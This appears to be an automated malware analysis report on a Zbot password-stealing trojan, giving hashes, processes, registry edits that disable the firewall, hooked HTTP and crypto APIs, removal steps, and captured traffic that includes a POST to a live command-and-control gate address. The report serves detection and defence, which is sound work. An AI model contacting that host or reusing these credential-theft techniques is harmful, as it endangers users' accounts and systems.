TrojanPSW.Win32.Zbot_70a7f153f2

September 13, 2021 14:44

UDS:DangerousObject.Multi.Generic (Kaspersky), Trojan-PSW.Win32.Zbot.6.FD, Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 70a7f153f2cb1c1eb3df35dec565cb5a

SHA1: 37e252e1e69c87722cc6619490af0dbfae0c75d6

SHA256: 9dee61e75247b20ccfd395c2ecaf22a3b532ec0468b2e68575e26595b1d811d3

SSDeep: 12288:d62pVkNeamMIo/bNPY87yknbNPY87q2pVkNeamMIogU2Iz8XUjKF96T7WoR:dtia4BPY87/BPY87diaWODF9NoR

Size: 1098752 bytes

File type: broken

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6, MicrosoftVisualBasicv50v60

Company: no certificate found

Created at: 2014-06-15 15:41:54

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan-PSW. Trojan program intended for stealing users passwords.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

oqum.exe:2312
oqum.exe:248
tasklist.exe:3752
hostname.exe:3628
ipconfig.exe:3880
netsh.exe:3852
%original file name%.exe:1920
%original file name%.exe:1380

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1948

File activity

The process %original file name%.exe:1380 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Otvaek\oqum.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp519e1b19.bat (177 bytes)

Registry activity

The process oqum.exe:2312 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "86 43 55 11 67 43 EB 12 11 56 CF 0C D0 51 D3 58"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process oqum.exe:248 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "91 A1 A6 E2 C2 CF D0 D1 9E C2 09 E1 BA D6 39 E9"

The process tasklist.exe:3752 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1D 8D AB 3D B6 B7 81 0B 1B 6E 18 47 76 90 EF 46"

[HKCU\Software\Microsoft\Ygara]
"Ryneroeq" = "1B 19 48 2E E6 B8 9B 33 96 49 98 37 10 97 9F D1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process hostname.exe:3628 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD BF A2 C4 F5 BA 43 7F 47 83 39 B0 E2 28 21 93"

[HKCU\Software\Microsoft\Ygara]
"Ryneroeq" = "1B 19 48 2E E6 B8 9B 33 96 49 98 37 10 97 9F D1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process ipconfig.exe:3880 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 44 FB 4C A7 14 C0 AF 3C 7D 87 56 28 CE 5B 6B"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Ygara]
"Ryneroeq" = "1B 19 48 2E E6 B8 9B 33 96 49 98 37 10 97 9F D1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

The process netsh.exe:3852 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 BE 74 64 86 24 85 9B 14 18 EA D6 4B AE EE 62"

[HKCU\Software\Microsoft\Ygara]
"Ryneroeq" = "1B 19 48 2E E6 B8 9B 33 96 49 98 37 10 97 9F D1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The process %original file name%.exe:1920 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 BA 7E 88 34 B8 99 F8 D2 88 C5 1B D2 66 63 0C"

The process %original file name%.exe:1380 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "24 89 C0 19 5E 04 0F 61 1F 99 24 DC 64 43 A5 9F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
7e78c36ad7d4730dc5e6f086f205c739	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Otvaek\oqum.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExW
HttpSendRequestExA
InternetSetFilePointer
InternetReadFileExA
HttpSendRequestA
HttpOpenRequestW
HttpSendRequestW
HttpOpenRequestA
InternetQueryDataAvailable
InternetCloseHandle
HttpQueryInfoA
InternetReadFile

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
oqum.exe:2312
oqum.exe:248
tasklist.exe:3752
hostname.exe:3628
ipconfig.exe:3880
netsh.exe:3852
%original file name%.exe:1920
%original file name%.exe:1380
Delete the original Trojan-PSW file.
Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Application Data\Otvaek\oqum.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp519e1b19.bat (177 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: KsL Software and Published by RoseCitySoftware
Product Name: Disparis
Product Version: 1.02.0005
Legal Copyright:
Legal Trademarks:
Original Filename: Percusso.exe
Internal Name: Percusso
File Version: 1.02.0005
File Description:
Comments:
Language: English (United States)

Company Name: KsL Software and Published by RoseCitySoftwareProduct Name: DisparisProduct Version: 1.02.0005Legal Copyright: Legal Trademarks: Original Filename: Percusso.exeInternal Name: PercussoFile Version: 1.02.0005File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	439824	442368	3.50973	ddcedf46f604ba18f217291af5b63c2d
.data	446464	33856	4096	0	620f0b67a91f7f74151bc5be745b7110
.rsrc	483328	644462	647168	4.35369	40f0b546dd7dfe6d13a2308cb76cb01b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.google.com/webhp	173.194.43.49
hxxp://www.google.ca/webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg	173.194.43.56
hxxp://e6845.ce.akamaiedge.net/crls/secureca.crl
hxxp://e6845.ce.akamaiedge.net/crls/gtglobal.crl
hxxp://www3.l.google.com/GIAG2.crl
hxxp://185.10.58.199/glow/server/gate.php
hxxp://pki.google.com/GIAG2.crl	173.194.43.38
hxxp://crl.geotrust.com/crls/gtglobal.crl	23.9.117.163
hxxp://crl.geotrust.com/crls/secureca.crl	23.9.117.163
time.windows.com	65.55.56.206

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /glow/server/gate.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: 185.10.58.199

Content-Length: 369

Connection: Keep-Alive

Cache-Control: no-cache

.1..s..lnY.....&..;#.#...E.[.o'3$B.........|.w9..L..C..g...n.J..].:..u(S.w.d...s.q....p..B..@r.J...G..............IK8.....q.u..S..h.

V...D>%v..(....._.4.."m.9.>*...<..R`..I%.C]d.v..O.mZ|...8Zb.yj.>..q./.G..m....,$=Uj...8..W...^...g.a.}.#../...........[...e.....W?.T.g.lU6d.%s...\T^.5..Jb...r....y.}?..%...p.R|..x..<..o.!.0....A/.%m.2.6.3....=q..Z..u9{.6UJ........

HTTP/1.1 200 OK

Date: Mon, 16 Jun 2014 14:00:06 GMT

Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7

X-Powered-By: PHP/5.4.7

Content-Length: 64

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

q....h..[y35.t>..|.$..;*-;.r.c.W........<.ezF.}"}../.. ........)..

GET /webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.google.ca

Cache-Control: no-cache

Cookie: PREF=ID=d1b71ce95180a40b:U=e74275611c737632:FF=0:TM=1365778725:LM=1365778743:S=Y22Iy1cY98t4Pj6o

HTTP/1.1 302 Found

Location: hXXps://VVV.google.ca/webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=d1b71ce95180a40b:FF=0:TM=1365778725:LM=1402927204:S=Kpub_EKMGQsDS3UM; expires=Wed, 15-Jun-2016 14:00:04 GMT; path=/; domain=.google.ca

Set-Cookie: NID=67=rIW5F6ykNhlrCv-Vwy2cKDLs-g71BNOiUvYziTmyf1DQMuVTLgKHu52dWAlARSpFdAMf0exBjlBaaJL6voVoGHs7ZGH7-WvHBFieogw0lI9UuKC8dQslsWTBQ9UcjYyZ; expires=Tue, 16-Dec-2014 14:00:04 GMT; path=/; domain=.google.ca; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Mon, 16 Jun 2014 14:00:04 GMT

Server: gws

Content-Length: 279

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic

Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXps://VVV.google.ca/webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg&gws_rd=ssl">here</A>...</BODY></HTML>....

GET /GIAG2.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: pki.google.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Mon, 16 Jun 2014 02:49:00 GMT

Date: Mon, 16 Jun 2014 13:11:01 GMT

Expires: Mon, 16 Jun 2014 14:11:01 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 871

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=3600

Age: 2944

Alternate-Protocol: 80:quic

0..c0..K...0...*.H........0I1.0...U....US1.0...U....Google Inc1%0#..U....Google Internet Authority G2..140616010004Z..140626010004Z0...0'..@..q.S....130910151922Z0.0...U.......0'..@ .*..)v..131112093101Z0.0...U.......0'....&..E.@..140411093120Z0.0...U.......0'..h.x../ ...130913110309Z0.0...U.......0'..5..[......130927105255Z0.0...U.......0'....).(_.I..131028093755Z0.0...U.......0'..x.%,......140522102708Z0.0...U.......0'....f.'..{..130910150931Z0.0...U.......0'..O..D..."..140407142442Z0.0...U.......0'....!.jD.E..130612174206Z0.0...U........00.0...U.#..0...J......h.v....b..Z./0...U.......}0...*.H.............h.Z.D.?.z.. Dg?.s@"t..A........6....*.3............B|@....G..6IY..-.....B*......G..*..vkB`...)...n#.d8.~>...NQ;....l.(k.!.....|..b.......i N...M...q..k.Zb0.y...%..s.~.. ...a.;.....Q'*Z....p...&....?.........9....#.4f.........1.......s......]E..... |Y.:...r..

GET /webhp HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.google.com

Cache-Control: no-cache

Cookie: PREF=ID=28da643bc1e67c45:U=f32dce0544f98e52:FF=0:TM=1365778725:LM=1365778725:S=KlaSoYpEhHSBxg_x

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg

Content-Length: 263

Date: Mon, 16 Jun 2014 14:00:04 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic

Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=ZPieU6_1IbDb8gfA-4DYCg">here</A>...</BODY></HTML>....

GET /crls/secureca.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.geotrust.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "0086d1bcf3748ad84043ca4fccd72712:1402926019"

Last-Modified: Mon, 16 Jun 2014 13:40:19 GMT

Accept-Ranges: bytes

Content-Length: 1626

Date: Mon, 16 Jun 2014 14:00:05 GMT

Connection: keep-alive

Content-Type: application/pkix-crl

0..V0...0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equifax Secure Certificate Authority..140616132300Z..140626132300Z0..>0.....&..120627171036Z0........140521155053Z0........120627171058Z0....``..120627171034Z0.....3..020515130611Z0....j...140226123519Z0........120627171039Z0........120627171002Z0........120627171038Z0....i...120627171035Z0........100301134531Z0........100623141752Z0........120627171026Z0........120627171025Z0........120627171050Z0.....#..140606204021Z0....S...120627170949Z0....H...120627171011Z0........120627171026Z0....._..120627171036Z0....7...140416231149Z0....%...020514181157Z0........140605215230Z0........120627171058Z0....x...140507204001Z0....}...120627170911Z0.....8..120627171035Z0....."..120627171030Z0........140429180917Z0........100729164439Z0....x...130924204342Z0....M\..140430000442Z0.....D..120627171051Z0.....N..100623141726Z0....X...140427081922Z0........120627171036Z0....7...120627171052Z0..../(..120627171032Z0....zo..120627171025Z0........120627171039Z0........120627171031Z0....*...120627171032Z0........100729164732Z0........120627171017Z0........120627171028Z0........120627171030Z0........120627171031Z0........120627171028Z0........120627171029Z0....hA..120627171034Z0....~...120627171035Z0........120627171003Z0.....$..120627171037Z0....x=..120627171055Z0........140416233935Z0....t6..140425041720Z0....S...140423105438Z0....jp..120627171034Z0........140606222139Z0....Bf..120627171053Z0....[...100730213120Z0...*.H............".\J.X.T.....%A.&.7..:...E\.4......

<<

<<< skipped >>>

GET /crls/gtglobal.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.geotrust.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "6aeab6474af3a88efa2444743d24f613:1402924209"

Last-Modified: Mon, 16 Jun 2014 13:10:09 GMT

Accept-Ranges: bytes

Content-Length: 554

Date: Mon, 16 Jun 2014 14:00:05 GMT

Connection: keep-alive

Content-Type: application/pkix-crl

0..&0...0...*.H........0B1.0...U....US1.0...U....GeoTrust Inc.1.0...U....GeoTrust Global CA..140616130300Z..140626130300Z0..0....4...031011141952Z0....5...060809140549Z0....4]..020522080843Z0....4\..020522080900Z0....5Y..050722125926Z0....6k..070711055050Z0....4Z..020521134804Z0...*.H.............kN.Fw.).S=d;..@..>QG.]<F*[n.B.S...l.0:..,.5..n`.....y!.J...\b.D...^k...D.f0;.K.d.h..0U......-...>#e.DM...2.....;....;.Q..,.;.......MR@..3.._Hde.$.v....1...W8.GP...u...;^..jb.c.j.g..N..FS.....9..d....>.!..$c.t.V....I.p.........5.v..~U...h=..0WD...^...0Z7.*Y..

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_1948_rwx_00CD0000_0003B000:

.text

.text

`.data

`.data

.reloc

.reloc

%s, u %s %u u:u:u GMT

%s, u %s %u u:u:u GMT

HTTP/1.1

HTTP/1.1

HTTP/1.0

HTTP/1.0

http://

http://

; charset=%s

; charset=%s

HTTP/1.1 %u %s

HTTP/1.1 %u %s

Date: %s

Date: %s

Content-Length: %u

Content-Length: %u

Expires: %s

Expires: %s

Content-Type: %s%s

Content-Type: %s%s

ID: %s

ID: %s

value_%s

value_%s

value_%s_%s

value_%s_%s

%s = "%s";

%s = "%s";

update.exe

update.exe

config.bin

config.bin

PR_OpenTCPSocket

PR_OpenTCPSocket

cit_ffcookie.module

cit_ffcookie.module

cit_video.module

cit_video.module

%ds~U;MM

%ds~U;MM

userenv.dll

userenv.dll

del "%s"

del "%s"

if exist "%s" goto d

if exist "%s" goto d

del /F "%s"

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

urlmon.dll

cabinet.dll

cabinet.dll

http://xxxxxxxx.com/xxxx/xxxx.php

http://xxxxxxxx.com/xxxx/xxxx.php

%s%s%s

%s%s%s

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

ole32.dll

ole32.dll

gdi32.dll

gdi32.dll

6;:5;66"

6;:5;66"

,1;(,; = 1

,1;(,; = 1

<! 8="8"><pre>'472%9,{</pre><pre>F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika</pre><pre>8/3.xae4LOa</pre><pre>6 !26!1'1!</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>_getFirefoxCookie</pre><pre>http://www.google.com/webhp</pre><pre>SSShD</pre><pre>SSShXe</pre><pre>SSShye</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>KERNEL32.dll</pre><pre>MsgWaitForMultipleObjects</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>SetKeyboardState</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>GetKeyboardLayoutList</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyW</pre><pre>RegEnumKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersA</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>3$3*30383</pre><pre>6|7k7u7</pre><pre>9 :1:::@:</pre><pre>42>204:4</pre><pre>sXXXX</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Global\XXX</pre><pre>SysShadow</pre><pre>Chrome</pre><pre>Firefox</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{D311B6C5-BF92-7B5F-9DE5-69A8161CC390}</pre><pre>%Documents and Settings%\%current user%\Application Data\Mebok\aguxu.byu</pre><pre>%Documents and Settings%\%current user%\Application Data\Mebok</pre><pre>aguxu.byu</pre><pre>Global\{456A04E0-0DB7-ED24-9DE5-69A8161CC390}</pre><pre>%Documents and Settings%\%current user%\Application Data\Ziam\qeuh.iqa</pre><pre>%Documents and Settings%\%current user%\Application Data\Ziam</pre><pre>qeuh.iqa</pre></!>